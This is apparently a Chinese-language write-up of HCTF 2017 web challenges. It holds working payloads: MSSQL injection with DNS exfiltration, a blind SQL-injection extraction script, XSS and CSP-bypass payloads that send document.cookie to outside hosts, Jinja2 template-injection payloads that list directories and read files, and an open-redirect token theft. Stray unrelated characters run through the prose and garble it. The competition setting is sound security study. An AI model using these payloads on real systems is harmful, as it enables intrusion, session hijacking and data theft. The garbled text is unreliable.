第一次AK web燎竖,大佬們很厲害璃弄。。
easy_sign_in
直接看證書构回,看到一個(gè)flag in夏块,后面有一個(gè)ip,http://123.206.81.217/纤掸,訪問得到flag
babycrack
網(wǎng)頁里面有個(gè)=_=.js脐供,先格式化js,梳理之后邏輯大概是這樣的:
- _0x180a存儲了一些包括各種函數(shù)名的字符串(經(jīng)過一次移位)
- _0xa180以函數(shù)的形式取_0x180a的內(nèi)容
- _0x2e2f8d同樣存儲了一些字符串
- check函數(shù)借跪,通過表示flag正確
其中check函數(shù)分為幾步(設(shè)s為輸出串):
1)取s的前四位政己,已經(jīng)給出為hctf,并對_0x2e2f8d做移位操作
var _0x50559f = _0x5b7c0c[_0x2e2f8d[0x5]](0x0, 0x4);
var _0x5cea12 = parseInt(btoa(_0x50559f), 0x20);
... 這里有段eval好像沒用直接刪了 ...
(function(_0x3291b7, _0xced890) {
var _0xaed809 = function(_0x3aba26) {
while (--_0x3aba26) {
_0x3291b7[_0xa180('0x4')](_0x3291b7['shift']());
}
};0xaed809(++_0xced890);
}(_0x2e2f8d, _0x5cea12 % 0x7b));
2)將s以"_"為分隔符分割垦梆,并做一系列驗(yàn)證(設(shè)為s[0],s[1],...)
var _0x76e1e8 = _0x5b7c0c[_0x43c8d1(0xe)]('_');
3)s[0]檢查:
r _0x34f55b = (_0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)]( - 0x2, 0x2)) ^ _0x1c3854(_0x76e1e8[0x0][_0x43c8d1(0xd)](0x4, 0x1))) % _0x76e1e8[0x0][_0x43c8d1(0x8)] == 0x5;
if (!_0x34f55b) {
return ! [];
}
4)s[2]檢查:
b2c = function(_0x3f9bc5) { ... }
... 這里一段反調(diào)試的也可以刪了 ...
e = _0x1c3854(b2c(_0x76e1e8[0x2])[_0x43c8d1(0xe)]('=')[0x0]) ^ 0x53a3f32;
if (e != 0x4b7c0a73) {
return ! [];
}
隨便試了一下b2c的結(jié)果匹颤,發(fā)現(xiàn)s[2]得為2位才有可能通過仅孩,爆破了一下,s[2]為iz
5)s[3]檢查:
f = _0x1c3854(b2c(_0x76e1e8[0x3])[_0x43c8d1(0xe)]('=')[0x0]) ^ e;
if (f != 0x4315332) {
return ! [];
}
和s[2]基本一樣印蓖,爆破出來為s0
6)s[1]檢查:
j = a_sub[0x1].split('3');
if (j[0x0].length != j[0x1].length || (tohex(j[0x0]) ^ tohex(j[0x1])) != 0x1613) {
return ![];
}
k = x => x.charCodeAt() * 7;
l = h(j[0x0], k);
if (l != 0x2f9b5072) {
return ![];
}
s[1]中間是3辽慕,共5位,爆破一下為rev3rse赦肃,所以前面大概就是hctf{xx_rev3rse_iz_s0溅蛉,猜測前面xx位置大概就是js之類的了
7)s[4]檢查
if (!m || _0x5a6d56(_0x76e1e8[0x4][_0x43c8d1(0xd)](0x5, 0x1), 0x2) == _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x5, 0x4) || _0x76e1e8[0x4][_0x43c8d1(0xd)]( - 0x2, 0x1) - _0x76e1e8[0x4][_0x43c8d1(0xd)](0x4, 0x1) != 0x1) {
return ! [];
}
... ...
同理爆破一下得到s[4]的前幾位是h4rd,后面的判斷比較混亂他宛,沒有唯一解船侧,但結(jié)合題目hint,得出s[4]是h4rd23ee3333}
8)s[0]不確定厅各,試了js不對镜撩,結(jié)合hint的sha256,爆破出來flag為
hctf{j5_rev3rse_iz_s0_h4rd23ee3333}
boring website
資料參考:https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
題目環(huán)境:
- windows
- mysql 3306(掃描發(fā)現(xiàn))
- mssql
www.zip存在文件泄漏队塘,index.php存在明顯的注入
Hint:linked servername是mysql袁梗,理論上是從mssql連到mysql上0.0
突破思路,利用 mssql注入憔古,調(diào)用 mysql 執(zhí)行sql語句遮怜,waf過濾較嚴(yán),但load_file未過濾鸿市,查詢結(jié)果通過dns外帶數(shù)據(jù)獲取锯梁,構(gòu)造payload如下:
http://106.15.53.124:38324/?id=3;SELECT * FROM OPENQUERY(mysql,'SELECT LOAD_FILE(CONCAT("\\","www3.xxxxx.ceye.io\foobar"))')
poker2
import requests
import time
?
S = requests.session()
?
?
def reg(string):
url = "http://petgame.2017.hctf.io/login/register.php?bname=%s&sex=2&head=2&bc=2&username=%s&pass=%s" %(string,string,string)
print "the reg info "+S.get(url).content
?
def get_inf(string):
url = "http://petgame.2017.hctf.io/passport/dealPc.php"
payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
print "login result "+S.post(url,data=payload).content
print "the username is " + string
url = "http://petgame.2017.hctf.io/function/User_Mod.php"
content = S.get(url).content
shui_pos = content.find("水晶")
print content[shui_pos:shui_pos+15]
wei_pos = content.find("威望")
print content[wei_pos:wei_pos+15]
chong_pos = content.find("寵物")
print content[chong_pos:chong_pos+15]
yuan_pos = content.find("元寶")
print content[yuan_pos:yuan_pos+15]
ji_pos = content.find("積分")
print content[ji_pos:ji_pos+15]
?
def get_task(string):
url = "http://petgame.2017.hctf.io/passport/dealPc.php"
payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
print "login result "+S.post(url,data=payload).content
print "the username is " + string
url = "http://petgame.2017.hctf.io/function/taskshow.php?title_vary=3&bid=2&rd=0.38350920765076046"
content = S.get(url).content
print content
?
?
def main():
for i in range(300,400):
tmp = "louys"+str(i)
reg(tmp)
#get_task(tmp)
time.sleep(2)
?
?
if __name__ == '__main__':
main()
刷到一個(gè)40多w水晶的號,在商店購買了一波以后焰情,發(fā)現(xiàn)還是要打怪陌凳。
于是寫了一個(gè)attack.py來刷怪。
import requests
import re
from threading import Thread
import sys
import random
?
S = requests.session()
?
attack_url = "http://petgame.2017.hctf.io/function/FightGate.php?id=1&g=%s&checkwg=checked&rd=%s"
#gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=89&bid=2448&rd=0.4393741597904868"
gg_url = "http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1"
#gg_url="http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.22476699386060095&team_auto=1"
?
header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?p=46090&type=1",
"User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
#header1 = {"Referer":"http://petgame.2017.hctf.io/function/Fight_Mod.php?pz=2&p=46090&auto=2&rd=0.7697414015208284&team_auto=1",
# "User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
?
?
?
header2 = {"Referer":"http://petgame.2017.hctf.io/index.php",
"User-Agent":'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'}
?
def log():
url = "http://petgame.2017.hctf.io/passport/dealPc.php"
string = "louys303"
payload = {"username":string,"mac":'','sign':'',"password":string,'mobile1':'1'}
S.post(url,data=payload,headers=header2,timeout=2).content
?
?
def attack(g):
target = attack_url % (g,str(random.random()))
content = S.get(url=target,headers=header1,timeout=1).content
print content
?
def get_gg():
content = S.get(gg_url,headers=header2,timeout=1).content
gg = re.findall(r"gg=\[(.*)\]",content)[0]
gg = gg.split(",")[-1]
return gg
?
def main():
log()
while True:
try:
gg = get_gg()
attack(g=gg)
attack(g=gg)
attack(g=gg)
except KeyboardInterrupt:
sys.exit()
except Exception as e:
print e
pass
?
if __name__ == '__main__':
main()
pass
在各種服務(wù)器用nohup狂開N個(gè)進(jìn)程后得到flag烙样。
A World Restored
審查流量冯遂,發(fā)現(xiàn)了幾個(gè)不合理的地方:
1). 將敏感信息token置于get請求上;
2). 未登錄訪問頁面時(shí)會有一個(gè)重定向谒获,但重定向url未作驗(yàn)證。
提交http://messbox.2017.hctf.io/login.php?n_url=http://vpsweb
能成功在vps上拿到用戶token壁却,使用該token訪問在cookie里成功獲取flag
SQL Silencer
突破點(diǎn)還是注入批狱,過濾很多,最終的突破方法是布爾注入payload如下
http://sqls.2017.hctf.io/index/index.php?id=2^1
http://sqls.2017.hctf.io/index/index.php?id=2^0
http://sqls.2017.hctf.io/index/index.php?id=2^(bool)
響應(yīng)分析:
正常結(jié)果:alice展东、bob赔硫、cc、only 3 user
語句錯(cuò)誤:there in no thing
觸發(fā)waf:nonono
查詢flag表數(shù)據(jù)容易觸發(fā)語法錯(cuò)誤盐肃,通過count(1)/count()被過濾*/得到flag表存在兩行數(shù)據(jù)爪膊,但是這里的payload需要結(jié)果為一行权悟,利用count(1)特性,使結(jié)果為一行通過where條件進(jìn)行布爾構(gòu)造得到所查詢的數(shù)據(jù)值推盛,詳細(xì)payload過程如下
exp:
purl = "http://sqls.2017.hctf.io/index/index.php?id=2^((select(count(1))from(flag)where(binary(flag)<%s))>0x00)"#./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/
rec="0x"
ans = ""
for i in range(255):
l=0
r=255
while(l<r):
mid = (l+r+1)/2
payload = rec+ num2hex(mid)
pUrl = turl % payload
print pUrl
if "Cc" in requests.get(pUrl).content:
r= mid-1
else:
l = mid
print l,r
rec = rec + num2hex(l)
ans = ans + chr(l)
print ans
這里能注入一行數(shù)據(jù)峦阁,發(fā)現(xiàn)是個(gè)目錄,猜測另一行可能是個(gè)文件名耘成,故繼續(xù)注入下一行數(shù)據(jù)榔昔,利用count(1)配合where flag>0xXXXX結(jié)果為 0,1瘪菌,2的特點(diǎn)注入得到令一行數(shù)據(jù)得到What_U_n33d_1s_under_m2撒会,對于解題無用,但是得到此方法
后來發(fā)現(xiàn)目錄下為一Typecho师妙,利用公開exp
發(fā)現(xiàn)在uploads目錄下有一個(gè)shell 密碼是c連接上后發(fā)現(xiàn)flag在/flag_is_here/flaghctf{WowwoW_U_F1nd_m3_e218ca012}
poker-poker
網(wǎng)站根目錄(報(bào)錯(cuò)回顯):
/home/website/default/
注入點(diǎn):
http://petgame.2017.hctf.io/login/register.php?bname=e&sex=2&head=6&bc=2&username=time-based&pass=sqlmap
sqlmap直接跑出诵肛。
A World Restored Again
測了一遍只有用戶名能插尖括號(訪問登錄時(shí)返回的帶token那一長串url就行),但是script默穴,on都被過濾了怔檩,另外還有CSP。
1)XSS Bypass
網(wǎng)上找到一個(gè)<iframe srcdoc="xxx">這樣的payload壁顶,xxx可以實(shí)體編碼珠洗,繞過關(guān)鍵字過濾。
2)CSP Bypass
網(wǎng)站有一個(gè)jsonp的url:http://auth.2017.hctf.io/getmessage.php?callback=Update若专,這個(gè)Update可以替換成自定義的內(nèi)容许蓖,所以只要插一個(gè)script,并且src為http://auth.2017.hctf.io/getmessage.php?callback=alert(1)// 這樣就行了调衰,然后接收cookie的時(shí)候用location或者open繞就行了
3)字符限制Bypass
用戶名有長度限制膊爪,并且打cookie的時(shí)候長度限制更嚴(yán),于是各種縮減字符嚎莉,最終的payload:
<iframe srcdoc=<script/src=//auth.2017.hctf.io/getmessage.php?callback=open(`//zzm.fun?c=`%2bdocument.cookie)></script>>
最后打到cookie中的flag:flag為hctf{mayb3_m0re_way_iz_best_for_ctf}
Repeater
jinja模板注入米酬,過濾了引號,雙下劃線趋箩,另外也只能用過濾器“|”使用自帶的函數(shù)赃额。搜到一篇文章https://0day.work/jinja2-template-injection-filter-bypasses/ 講了bypass的基本思路
1)"|"后面不能接字母之類的,可以用"|%09"繞過
2)引號叫确,雙下劃線Bypass
用jinja的request對象從請求參數(shù)中獲取字符串跳芳,比如:
secret={{request.args.a}}&a=bbb
用join連接字符串引入雙下劃線,比如:
secret={{requests|attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)}}&class=class&usc=_
3)過濾了"["和"]"的Bypass
列表a的取值用(a).pop(index)竹勉,字典a的取值用(a.values()).pop(index)
再結(jié)合常規(guī)的python沙盒繞過思路飞盆,首先從request.class.mro[-1]中取出object類,再從object類的subclasses()[59].init.__func_globals[25].dict[12]里找os模塊。
測試過程中發(fā)現(xiàn)popen讀不到東西吓歇,可能是沒權(quán)限孽水,于是用os.listdir()列目錄,附上payload:
secret={%set%09i=request|%09attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)|%09attr((request.args.usc*2,request.args.mro,request.args.usc*2)|%09join)|%09last%09%}{%set%09j=%09(i|%09attr((request.args.usc*2,request.args.subc,request.args.usc*2)|%09join)()).pop(59)|%09attr((request.args.usc*2,request.args.init,request.args.usc*2)|%09join)%}{%set%09k=(j.func_globals.values()).pop(25)|%09attr((request.args.usc*2,request.args.dict,request.args.usc*2)|%09join)%}{{(k.values()).pop(12).listdir(request.args.payload)}}&class=class&mro=mro&subc=subclasses&usc=_&init=init&line=linecache&dict=dict&payload=/
列了一下發(fā)現(xiàn)有個(gè)"/h3h3_1s_your_flag/flag"文件城看,然后從上面取得的object類的subclasses()[40]里取file對象讀文件女气,payload:
secret={%set%09i=request|%09attr((request.args.usc*2,request.args.class,request.args.usc*2)|%09join)|%09attr((request.args.usc*2,request.args.mro,request.args.usc*2)|%09join)|%09last%09%}{%set%09j=%09(i|%09attr((request.args.usc*2,request.args.subc,request.args.usc*2)|%09join)()).pop(40)(request.args.file).read()%}{{j}}&class=class&mro=mro&subc=subclasses&usc=_&file=/h3h3_1s_your_flag/flag
讀到flag為hctf{bl4ck_l1st_1s_e4sy_t0_bypass_1d81c5a2}
Who are you?
新頭像和名字,shop里面有flag可以購買析命,但是錢不夠主卫。
然后發(fā)現(xiàn)買不存在的商品的時(shí)候會報(bào)錯(cuò)(http://gogogo.2017.hctf.io/shop/4),泄露出laravel的源碼:
$balance = Info::find(Auth::id())->amount;
if ($balance >= $prize) {
return view('message', ['message' => $item->note]);
}
會取一個(gè)amount字段然后和物品價(jià)格比較鹃愤。
另外嘗試改一個(gè)超長的名字簇搅,成功引起數(shù)據(jù)庫報(bào)錯(cuò),泄露源碼软吐。發(fā)現(xiàn)改信息這里會接收所有請求參數(shù)并update:
$info = Info::where('id', Auth::id())->update($request->all());
return redirect()->route('home');
于是嘗試傳進(jìn)去一個(gè)amount=999瘩将,成功購買flag
hctf{csgo_is_best_fps_game_dA3jf}
Deserted place
有report bug,有message凹耙,有csp姿现。
看上去像是一道xss題目。
發(fā)現(xiàn)用戶的編輯結(jié)果在http://desert.2017.hctf.io/edit.php?callback=EditProfile中是被轉(zhuǎn)義的肖抱,但是在訪問個(gè)人頁面的時(shí)候會觸發(fā)xss备典,是個(gè)self-xss。
觀察js代碼
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;
?
window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;
?
console.log("Update user profile success...");
window.close();
}
?
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}
?
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}
發(fā)現(xiàn)RandomProfile函數(shù)會自動觸發(fā)UpdateProfile函數(shù)意述,而UpdateProfile函數(shù)有一個(gè)很詭異的地方就是會通過opener來修改父窗口的email和mess的內(nèi)容提佣。
function random(){
var newWin = window.open("./edit.php?callback=RandomProfile",'','width=600,height=600');
var loop = setInterval(function() {
if(newWin.closed) {
clearInterval(loop);
update();
}
}, 1000);
?
};
而父窗口中,發(fā)現(xiàn)當(dāng)子窗口退出后會自動觸發(fā)update操作荤崇,這個(gè)時(shí)候才會取得cstftoken來進(jìn)行更新操作拌屏。
而http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx,這里的user是可控的术荤,頁面內(nèi)容就可控倚喂。就有機(jī)會通過opener來修改admin的email和message。
初步思路:
- 注冊一個(gè)xxx賬號
- 修改xxx的message為payload
- 通過report功能使得admin訪問某個(gè)頁面
- 某個(gè)頁面打開子窗口為xxx的屬性頁
- 等待觸發(fā)RandomProfile中的UpdateProfile瓣戚,便可修改父窗口
問題在于我們需要找到一種方法使得父窗口為admin的主頁端圈,查找資料后發(fā)現(xiàn)一種叫做some攻擊的姿勢。
可以在打開子窗口后跳轉(zhuǎn)到admin的主頁子库,來實(shí)現(xiàn)修改枫笛,但是不能觸發(fā)update操作。于是使用svg標(biāo)簽的onload來觸發(fā)xss刚照。
<svg/onload="window.location='http://xxx?a'+document.cookie">
把xxx賬號的屬性修改為如上內(nèi)容。
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<script type="text/javascript">
window.open("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xxx",'','width=600,height=600');
window.location="http://desert.2017.hctf.io/user.php";
</script>
</body>
</html>
然后讓admin訪問如上頁面就能觸發(fā)xss喧兄,flag在cookie中
A true man can play a palo one hundred time
這道題的大意是保持一個(gè)平衡木的平衡无畔。假如現(xiàn)在一個(gè)人正處在平衡木的中點(diǎn)啊楚,move=0就是讓人向x軸正方向移動,move=1就是讓人向x軸負(fù)方向移動浑彰。我們可以得到每次移動后我們所在的極坐標(biāo)恭理。只要控制極坐標(biāo)的兩側(cè)參數(shù)x和θ就可以一直玩下去。玩100次以后得到flag郭变。腳本如下:
from requests import get
import json
def abs(x):
if x > 0:
return x
else:
return -x
def o(x):
if (x >= 0):
return 1
return -1
url = "http://ezgame.2017.hctf.io/game?id=Your_Token&move={direction}"
d = 0
weight = 0.4
msx = 1
mst = 1
mx = 0.1
mt = 0.15
while True:
print "Move: ", d
r = get(url.format(direction=d))
print r.text
j = json.loads(r.text)
x = j['observation'][0]
sx = j['observation'][1]
t = j['observation'][2]
st = j['observation'][3]
if (not j['status']):
print "Failed..."
break
else:
# stage 1
r1 = int(abs(x) > mx)
r2 = int(abs(sx) > msx)
r3 = int(abs(t) > mt)
r4 = int(abs(st) > mst)
r = 0
r += -1 * r1 * (abs(x) - mx) * o(x)
r += -1 * r2 * (abs(sx) - msx) * o(sx)
r += 1 * r3 * (abs(t) - mt) * o(t)
r += 1 * r4 * (abs(st) - mst) * o(st)
if ( r != 0):
d = int(r > 0)
continue
# stage 2
r = 0
r += (st - sx) * weight
r += (t - x) * (1-weight)
d = int(r > 0)